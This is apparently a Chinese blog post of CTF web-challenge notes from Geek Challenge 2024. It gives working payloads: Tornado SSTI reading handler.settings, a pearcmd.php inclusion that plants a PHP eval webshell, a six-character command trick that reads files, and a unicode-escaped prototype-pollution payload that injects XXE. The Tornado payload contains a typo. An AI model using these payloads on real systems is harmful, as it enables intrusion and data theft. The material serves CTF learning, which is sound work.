那些年日穿我的web知识(四)
本文最后更新于1 天前,其中的信息可能已经过时,如有错误请发送邮件到2292955451@qq.com

tornado模板注入之环境变量读取

tornado是一个python模板,有可能会存在SSTI,但是这次在做题目的时候发现在tornado模板中,可以利用SSTI读取环境变量

payload={{%20halder.setting%20}}

通过这个命令就可以得到环境变量

在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量。

简单理解handler.settings即可,可以把它理解为tornado模板中内置的环境配置信息名称,通过handler.settings可以访问到环境配置的一些信息,看到tornado模板基本上可以通过handler.settings一把梭。

MD5相等文件

使用fastcoll即可,把图片拖动到exe上即可自动运行脚本生成两个md5值相等的文件

利用pearcmd.php文件包含拿shell

在做到极客大挑战2024的时候学到了一个很新的文件包含的姿势,这个文件包含的特点在于它是利用pearcmd.php来进行本地文件包含来拿shel

关于什么是pearcmd.php是什么,来看看P神的介绍

利用条件
1.安装了pear扩展(pear就是一个php扩展及应用的代码仓库,没有安装pear扩展的话就没有pear.php文件可以利用了)

2.知道pearcmd.php文件的路径(默认路径是/usr/local/lib/php/pearcmd.php)

3.开启了register_argc_argv选项(只有开启了,$_SERVER[‘argv’]才会生效。)

4.有文件包含点,并且能包含php后缀的文件,而且没有open_basedir的限制

首先来欣赏一下题目的代码

<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET ["syc"])){
    $file = $_GET ["syc"];
    $hint = "register_argc_argv = On";
    if (preg_match("/config|create|filter|download|phar|log|sess|-c|-d|%|data/i", $file)) {
        die("hint都给的这么明显了还不会做?");
    }
    if(substr($_SERVER['REQUEST_URI'], -4) === '.php'){
        include $file;
    }
}

代码很简单,是个人都可以看懂,很明显的是这里开启了register_argc_argv,这个东西开启了之后,sys传入的值都会写入到$_SERVER的参数里头。然后我们就可以利用syc的这个参数来进行上传木马的操作,原理如下

php⽼版本(测试版本为5.2.17)默认为 On,新版本(测试版本为 5.4.45、5.5.9、7.3.4)默认为 Off

$argc变量是⽤于记录数组的⼤⼩
$argv变量是⽤于记录输⼊的参数

然后需要注意的是

一旦register_argc_argv开启,那么我们传入的值将不再可以通过&进行键值对分离,只有+可以做到

这里贴上pearcmd.php的部分源代码

$argv = Console_Getopt::readPHPArgv();
// fix CGI sapi oddity - the -- in pear.bat/pear is not removed
if (php_sapi_name() != 'cli' && isset($argv[1]) && $argv[1] == '--') {
unset($argv[1]);
$argv = array_values($argv);
}
$progname = PEAR_RUNTYPE;
array_shift($argv);
$options = Console_Getopt::getopt2($argv, "c:C:d:D:Gh?sSqu:vV");
if (PEAR::isError($options)) {
usage($options);
}

我们可以看到$argv是由readPHPArgv函数赋值,那么我们就继续跟进这个函数

    public static function readPHPArgv()
    {
        global $argv;
        if (!is_array($argv)) {
            if (!@is_array($_SERVER['argv'])) {
                if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
                    $msg = "Could not read cmd args (register_argc_argv=Off?)";
                    return PEAR::raiseError("Console_Getopt: " . $msg);
                }
                return $GLOBALS['HTTP_SERVER_VARS']['argv'];
            }
            return $_SERVER['argv'];
        }
        return $argv;
    }

先看$argv是否存在(这个变量储存在命令行模式下运行php脚本时传入的参数),如果不存在,就判断$_SERVER[‘argv’]这个变量,这个是我们可控的,那么这个函数返回值我们就可控。

首先这是pear中可以使用的命令

我们要利用的就是这个config-create命令,这个命令的主要作用就是将内容写入文件中,传入两个参数,第一个参数是要写的内容,第二个参数就是要写入文件的路径,很明显,这两个参数都是可控的,自然我们应该能想到可以写入一句话进去,然后进行包含getshell。

paylaod=?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/test.php

至于为什么?号之后有个+号是因为 $argv = array_values($argv) 这一段代码会将argv的第一个元素删除,我们用+把这个效果给抵消掉

一定要注意的是,一定一定要在burp上传入payload,一旦在url写payload就会写不进去,因为url会对字符串进行url编码,这是一个大坑

最后得到flag

六字符文件读取

做到一个很有意思的命令读取的题目,题目只限制输入六个字符,并且命令执行之后是不可见的

然后同时这里头还过滤了很多命令,包括ls,dir,cat之类的

这时候我们就要像以下那么构造

>nl

* /*>d

首先就是>nl就是创建一个名为nl的文件,* /*>d是什么意思呢,第一个*就是使用ls之下的第一个文件的文件名当作命令去执行,然后这个命令就会变成,nl /*>d,非常神奇,最后访问/tmp/d即可

极客大挑战2024 py_game所学记录

通过这道题目学会了很多东西,来记录一下

首先是flask的密钥爆破,这个工具是以前没见过的,赶紧记录记录

然后就是pyc反编译,因为这道题目的python版本非常高,导致uncompyle6无法使用,所以这里用到了pycdc,但是我后面看了别人的反编译代码,发现这个工具仍然没有完全的反编译出来,也不知道大家用的什么工具,只能以后知道了再回来补充了

关于pycdc的部署

git clone https://github.com/zrax/pycdc.git
mkdir build
cd build
cmake ..
./pycdc [文件路径]

接着就是元代码审计部分

import json
from lxml import etree
from flask import Flask, request, render_template, flash, redirect, url_for, session, Response, send_file, jsonify
app = Flask(__name__)
app.secret_key = 'a123456'
app.config['xml_data'] = '<?xml version="1.0" encoding="UTF-8"?><GeekChallenge2024><EventName>Geek Challenge</EventName><Year>2024</Year><Description>This is a challenge event for geeks in the year 2024.</Description></GeekChallenge2024>'

class User:

    def __init__(self, username, password):
        self.username = username
        self.password = password

    def check(self, data):
        return self.username == data['username'] and self.password == data['password']
admin = User('admin', '123456j1rrynonono')
Users = [admin]

def update(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and isinstance(v, dict):
                update(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and isinstance(v, dict):
            update(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        for u in Users:
            if u.username == username:
                flash('用户名已存在', 'error')
                return redirect(url_for('register'))
        new_user = User(username, password)
        Users.append(new_user)
        flash('注册成功!请登录', 'success')
        return redirect(url_for('login'))
    else:
        return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        for u in Users:
            if u.check({'username': username, 'password': password}):
                session['username'] = username
                flash('登录成功', 'success')
                return redirect(url_for('dashboard'))
        flash('用户名或密码错误', 'error')
        return redirect(url_for('login'))
    else:
        return render_template('login.html')

@app.route('/play', methods=['GET', 'POST'])
def play():
    if 'username' in session:
        with open('/app/templates/play.html', 'r', encoding='utf-8') as file:
            play_html = file.read()
        return play_html
    flash('请先登录', 'error')
    return redirect(url_for('login'))

@app.route('/admin', methods=['GET', 'POST'])
def admin():
    if 'username' in session and session['username'] == 'admin':
        return render_template('admin.html', username=session['username'])
    flash('你没有权限访问', 'error')
    return redirect(url_for('login'))

@app.route('/downloads321')
def downloads321():
    return send_file('./source/app.pyc', as_attachment=True)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/dashboard')
def dashboard():
    if 'username' in session:
        is_admin = session['username'] == 'admin'
        if is_admin:
            user_tag = 'Admin User'
        else:
            user_tag = 'Normal User'
        return render_template('dashboard.html', username=session['username'], tag=user_tag, is_admin=is_admin)
    flash('请先登录', 'error')
    return redirect(url_for('login'))

@app.route('/xml_parse')
def xml_parse():
    try:
        xml_bytes = app.config['xml_data'].encode('utf-8')
        parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
        tree = etree.fromstring(xml_bytes, parser=parser)
        result_xml = etree.tostring(tree, pretty_print=True, encoding='utf-8', xml_declaration=True)
        return Response(result_xml, mimetype='application/xml')
    except etree.XMLSyntaxError as e:
        return str(e)
black_list = ['__class__'.encode(), '__init__'.encode(), '__globals__'.encode()]

def check(data):
    print(data)
    for i in black_list:
        print(i)
        if i in data:
            print(i)
            return False
    return True

@app.route('/update', methods=['POST'])
def update_route():
    if 'username' in session and session['username'] == 'admin':
        if request.data:
            try:
                if not check(request.data):
                    return ('NONONO, Bad Hacker', 403)
                data = json.loads(request.data.decode())
                print(data)
                if all(('static' not in str(value) and 'dtd' not in str(value) and ('file' not in str(value)) and ('environ' not in str(value)) for value in data.values())):
                    update(data, User)
                    return (jsonify({'message': '更新成功'}), 200)
                return ('Invalid character', 400)
            except Exception as e:
                return (f'Exception: {str(e)}', 500)
        else:
            return ('No data provided', 400)
    else:
        flash('你没有权限访问', 'error')
        return redirect(url_for('login'))
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80, debug=False)

这里主要学到的就是python原型链污染对一些黑名单的绕过

在这里的时候可以看到原型链污染的一些参数杯禁用,可以使用unicode编码进行绕过

{
    "__\u0069nit__": {
        "__global\u0073__": {
            "app": {
                "config": {
                    "xml_data": "<?xml version=\"1.0\"?><!DOCTYPE root [<!ENTITY xxe SYSTEM \"/flag\">]><p>&xxe;</p>"
                }
            }
        }
    }
}

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇